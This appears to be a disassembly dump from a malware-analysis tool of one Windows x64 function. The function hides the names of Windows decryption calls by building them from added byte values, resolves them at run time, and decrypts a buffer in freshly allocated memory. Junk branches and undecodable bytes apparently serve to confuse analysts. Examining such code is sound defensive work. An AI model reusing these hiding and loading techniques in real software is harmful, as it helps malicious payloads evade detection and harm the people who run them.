Function at 0x180005be4
Capabilities:
Parse pe header

Disassembly:
mov al, 0x1c
add al, 0x54
mov byte [rdi + 7], al
mov al, 0x1d
add al, 0x48
mov byte [rdi + 8], al
mov al, 0x20
add al, 0x4e
mov byte [rdi + 9], al
mov al, 4
add al, 0x3d
mov byte [rdi + 0xa], al
mov al, 0x5d
add al, 0xf
mov byte [rdi + 0xb], al
mov al, 0x48
add al, 0x1f
mov byte [rdi + 0xc], al
mov al, 0x6c
add al, 3
mov byte [rdi + 0xd], al
mov al, 0x6d
add al, 5
mov byte [rdi + 0xe], al
mov al, 0x27
add al, 0x42
mov byte [rdi + 0xf], al
mov al, 0x4d
add al, 0x27
mov byte [rdi + 0x10], al
mov al, 0x27
add al, 0x41
mov byte [rdi + 0x11], al
mov al, 5
add al, 0x68
mov byte [rdi + 0x12], al
mov al, 0x3d
add al, 0x13
mov byte [rdi + 0x13], al
mov al, 0x6c
add al, 6
mov byte [rdi + 0x14], al
mov al, 0x4b
add al, 0x24
mov byte [rdi + 0x15], al
mov al, 0xe
add al, 0x68
mov byte [rdi + 0x16], al
mov al, 0x21
add al, 0x48
mov byte [rdi + 0x17], al
mov al, 0xe
add al, 0x56
mov byte [rdi + 0x18], al
mov al, 0x5d
add al, 8
mov byte [rdi + 0x19], al
mov al, 0x49
add al, 0x29
mov byte [rdi + 0x1a], al
mov byte [rdi + 0x1b], 0
mov rcx, r15
mov rdx, rdi
sub rsp, 0x20
mov rax, qword [rbp - 0x88]
call rax
add rsp, 0x20
mov qword [rbp - 0x90], rax
mov al, 0x32
xor al, byte [rax + rdx]
mov byte [rdi], al
mov al, 0x31
add al, 0x12
mov byte [rdi + 1], al
mov al, 0x62
add al, 0x10
mov byte [rdi + 2], al
mov al, 0x56
add al, 0x23
mov byte [rdi + 3], al
mov al, 0x30
add al, 0x40
mov byte [rdi + 4], al
mov al, 0x54
add al, 0x20
mov byte [rdi + 5], al
mov al, 0x33
add al, 0x14
mov rcx, r15
mov rdx, rdi
sub rsp, 0x20
mov rax, qword [rbp - 0x88]
call rax
add rsp, 0x20
mov qword [rbp - 0xa8], rax
mov al, 0xa
add al, 0x38
mov byte [rdi], al
mov al, 0xe
add al, 0x35
mov byte [rdi + 1], al
mov al, 0x62
add al, 0x10
mov byte [rdi + 2], al
mov al, 0x3b
add al, 0x3e
mov byte [rdi + 3], al
mov al, 0xf
add al, 0x61
mov byte [rdi + 4], al
mov al, 0x6e
add al, 6
mov byte [rdi + 5], al
mov al, 0x2b
add al, 0x19
mov byte [rdi + 6], al
push rax
xor rax, rax
inc rax
test rax, rax
je 0x180005f86
pop rax
push rcx
xor rcx, rcx
test rcx, rcx
jne 0x180005ad0
inc rcx
test rcx, rcx
je 0x180005839
pop rcx
mov al, 5
add al, 0x60
mov byte [rdi + 7], al
mov al, 4
add al, 0x5f
mov byte [rdi + 8], al
mov al, 1
add al, 0x71
mov byte [rdi + 9], al
mov al, 0x43
add al, 0x36
mov byte [rdi + 0xa], al
mov al, 0x39
add al, 0x37
mov byte [rdi + 0xb], al
mov al, 0x51
add al, 0x23
mov byte [rdi + 0xc], al
mov byte [rdi + 0xd], 0
mov rcx, r15
mov rdx, rdi
sub rsp, 0x20
mov rax, qword [rbp - 0x88]
call rax
add rsp, 0x20
mov qword [rbp - 0xb0], rax
mov al, 6
add al, 0x3c
mov byte [rdi], al
mov al, 8
add al, 0x3b
mov byte [rdi + 1], al
mov al, 0x61
add al, 0x11
mov byte [rdi + 2], al
mov al, 0x57
add al, 0x22
mov byte [rdi + 3], al
mov al, 0x48
add al, 0x28
mov byte [rdi + 4], al
mov al, 0x38
add al, 0x3c
mov byte [rdi + 5], al
mov al, 0x13
add al, 0x31
mov byte [rdi + 6], al
mov al, 9
add al, 0x5c
mov byte [rdi + 7], al
mov al, 0x57
add al, 0x1c
mov byte [rdi + 8], al
mov al, 0x73
add al, 1
mov byte [rdi + 9], al
mov al, 0x3b
add al, 0x37
mov byte [rdi + 0xa], al
mov al, 0x24
add al, 0x4b
mov byte [rdi + 0xb], al
mov al, 0x5f
add al, 0x1a
mov byte [rdi + 0xc], al
mov al, 3
add al, 0x48
mov byte [rdi + 0xd], al
mov al, 0x14
add al, 0x51
mov byte [rdi + 0xe], al
mov al, 0x63
add al, 0x16
mov byte [rdi + 0xf], al
mov byte [rdi + 0x10], 0
mov rcx, r15
mov rdx, rdi
sub rsp, 0x20
mov rax, qword [rbp - 0x88]
call rax
add rsp, 0x20
mov qword [rbp - 0xb8], rax
mov al, 7
add al, 0x3b
mov byte [rdi], al
mov al, 0x2a
add al, 0x19
mov byte [rdi + 1], al
mov al, 0x1c
add al, 0x56
mov byte [rdi + 2], al
mov al, 0x42
add al, 0x37
mov byte [rdi + 3], al
mov al, 0x2a
add al, 0x46
mov byte [rdi + 4], al
mov al, 0x50
add al, 0x24
mov byte [rdi + 5], al
mov al, 0x33
add al, 0x10
mov byte [rdi + 6], al
mov al, 0x20
add al, 0x4c
mov byte [rdi + 7], al
mov al, 0x35
add al, 0x3a
mov byte [rdi + 8], al
mov al, 0x6d
add al, 6
mov byte [rdi + 9], al
mov al, 0x10
add al, 0x55
mov byte [rdi + 0xa], al
mov al, 0x2d
add al, 0x14
mov byte [rdi + 0xb], al
mov al, 0x5d
add al, 0xf
mov byte [rdi + 0xc], al
mov al, 0x3e
add al, 0x29
mov byte [rdi + 0xd], al
mov al, 0x19
add al, 0x56
mov byte [rdi + 0xe], al
mov al, 0x38
add al, 0x3a
mov byte [rdi + 0xf], al
mov al, 0xe
add al, 0x5b
mov byte [rdi + 0x10], al
mov al, 0x22
add al, 0x52
mov byte [rdi + 0x11], al
mov al, 0xd
add al, 0x5b
mov byte [rdi + 0x12], al
mov al, 3
add al, 0x6a
mov byte [rdi + 0x13], al
mov al, 1
add al, 0x4f
mov byte [rdi + 0x14], al
mov al, 0x44
add al, 0x2e
mov byte [rdi + 0x15], al
mov al, 0x1e
add al, 0x51
mov byte [rdi + 0x16], al
mov al, 0xa
add al, 0x6c
mov byte [rdi + 0x17], al
mov al, 0x3f
add al, 0x2a
mov byte [rdi + 0x18], al
mov al, 0x2a
add al, 0x3a
mov byte [rdi + 0x19], al
mov al, 0x20
add al, 0x45
mov byte [rdi + 0x1a], al
mov al, 0x52
add al, 0x20
mov byte [rdi + 0x1b], al
mov byte [rdi + 0x1c], 0
mov rcx, r15
mov rdx, rdi
sub rsp, 0x20
mov rax, qword [rbp - 0x88]
call rax
add rsp, 0x20
mov qword [rbp - 0xc0], rax
add rsp, 0x100
lea rcx, [rbp - 8]
lea rdx, [rbp - 0x10]
mov r8, 0
mov r9, 0
sub rsp, 0x20
mov rax, qword [rbp - 0x90]
call rax
add rsp, 0x20
test rax, rax
jne 0x180006099
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp - 0xf0]
lea r8, [rbp - 0x18]
mov r9, 8
or byte [rax], al
add byte [rax], al
push 0
lea rax, [rbp - 0x20]
push rax
sub rsp, 0x20
mov rax, qword [rbp - 0x98]
call rax
sub rsp, 0x30
test rax, rax
jne 0x180006099
mov rcx, 0
mov rdx, qword [rbp - 0x18]
mov r8, 0x3000
mov r9, 4
sub rsp, 0x20
mov rax, qword [rbp - 0xd0]
call rax
add rsp, 0x20
test rax, rax
je 0x180006099
mov qword [rbp - 0x28], rax
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp - 0xf8]
lea r8, [rbp - 0x30]
mov r9, 8
push 0
lea rax, [rbp - 0x20]
push rax
sub rsp, 0x20
mov rax, qword [rbp - 0x98]
call rax
sub rsp, 0x30
test rax, rax
jne 0x180006099
mov rcx, qword [rbp - 0x38]
sub rsp, 0x20
mov rax, qword [rbp - 0xd8]
call rax
add rsp, 0x20
cmp qword [rbp - 0x30], rax
jg 0x180006099
mov rcx, 0
mov rdx, qword [rbp - 0x30]
mov r8, 0x3000
mov r9, 4
sub rsp, 0x20
mov rax, qword [rbp - 0xd0]
call rax
add rsp, 0x20
test rax, rax
je 0x180006099
mov qword [rbp - 0x48], rax
mov rcx, qword [rbp - 0x30]
mov rdi, qword [rbp - 0x48]
mov rsi, qword [rbp - 0x38]
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rbp - 0x108]
sub rsp, 0x20
mov rax, qword [rbp - 0xe0]
test dword [rax], esp
invalid
invalid
invalid
call rax
add rsp, 0x20
sub rsp, 8
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp - 0x100]
mov r8, qword [rbp - 0x108]
mov r9, rax
push 0
sub rsp, 0x20
mov rax, qword [rbp - 0xa0]
call rax
add rsp, 0x30
test rax, rax
jne 0x180006099
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
mov rax, qword [rbp - 0xd8]
call rax
add rsp, 0x20
sub rsp, 8
mov rcx, qword [rbp - 8]
lea rdx, [rbp - 0x50]
mov r8, qword [rbp - 0x28]
mov r9, qword [rbp - 0x18]
push 0
push rax
mov rax, qword [rbp - 0x40]
push rax
sub rsp, 0x20
mov rax, qword [rbp - 0xa8]
call rax
add rsp, 0x40
test rax, rax
jne 0x180006099
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x68]
mov r9, 0
push 1
lea rax, [rbp - 0x58]
push rax
push 0
push 0
mov rax, qword [rbp - 0x30]
push rax
mov rax, qword [rbp - 0x48]
push rax
sub rsp, 0x20
mov rax, qword [rbp - 0xb0]
call rax
add rsp, 0x50
test rax, rax
jne 0x180006099
mov rcx, 0
mov rdx, qword [rbp - 0x58]
mov r8, 0x3000
mov r9, 4
sub rsp, 0x20
mov rax, qword [rbp - 0xd0]
call rax
add rsp, 0x20
test rax, rax
je 0x180006099
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x68]
mov r9, 0
push 1
lea rax, [rbp - 0x58]
push rax
mov rax, qword [rbp - 0x58]
push rax
mov rax, qword [rbp - 0x60]
push rax
mov rax, qword [rbp - 0x30]
push rax
mov rax, qword [rbp - 0x48]
push rax
sub rsp, 0x20
mov rax, qword [rbp - 0xb0]
call rax
add rsp, 0x50
test rax, rax
jne 0x180006099
mov r15, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x58]
mov rsi, qword [rbp - 0x60]
mov rdi, qword [rbp - 0x78]
rep movsb byte [rdi], byte [rsi]
mov byte [rdi], 0
mov rcx, qword [rbp - 0x50]
sub rsp, 0x20
mov rax, qword [rbp - 0xb8]
call rax
add rsp, 0x20
push rax
xor rax, rax
inc rax
test rax, rax
je 0x180005d75
pop rax
push rcx
xor rcx, rcx
test rcx, rcx
jne 0x180005839
inc rcx
test rcx, rcx
je 0x180005ad0
pop rcx
mov rcx, qword [rbp - 8]
mov rdx, 0
sub rsp, 0x20
mov rax, qword [rbp - 0xc0]
call rax
add rsp, 0x20
mov rcx, qword [rbp - 0x28]
xor rdx, rdx
mov r8, 0x8000
sub rsp, 0x20
mov rax, qword [rbp - 0xc8]
call rax
add rsp, 0x20
mov rcx, qword [rbp - 0x48]
xor rdx, rdx
mov r8, 0x8000
sub rsp, 0x20
mov rax, qword [rbp - 0xc8]
call rax
add rsp, 0x20
mov rcx, qword [rbp - 0x60]
xor rdx, rdx
mov r8, 0x8000
sub rsp, 0x20
mov rax, qword [rbp - 0xc8]
call qword [rbp - 0xc8]
add rsp, 0x20
mov rcx, r14
xor rdx, rdx
mov r8, 0x8000
sub rsp, 0x20
mov rax, qword [rbp - 0xc8]
call qword [rbp - 0xc8]
add rsp, 0x20
mov rax, r15
jmp 0x1800060a0
mov rax, 0
mov rsp, rbp
pop r15
pop r14
push rax
pop rax
pop r13
pop r12
push rax
pop rax
pop rsi
pop rdi
pop rbx
push rax
pop rax
pop rbp
ret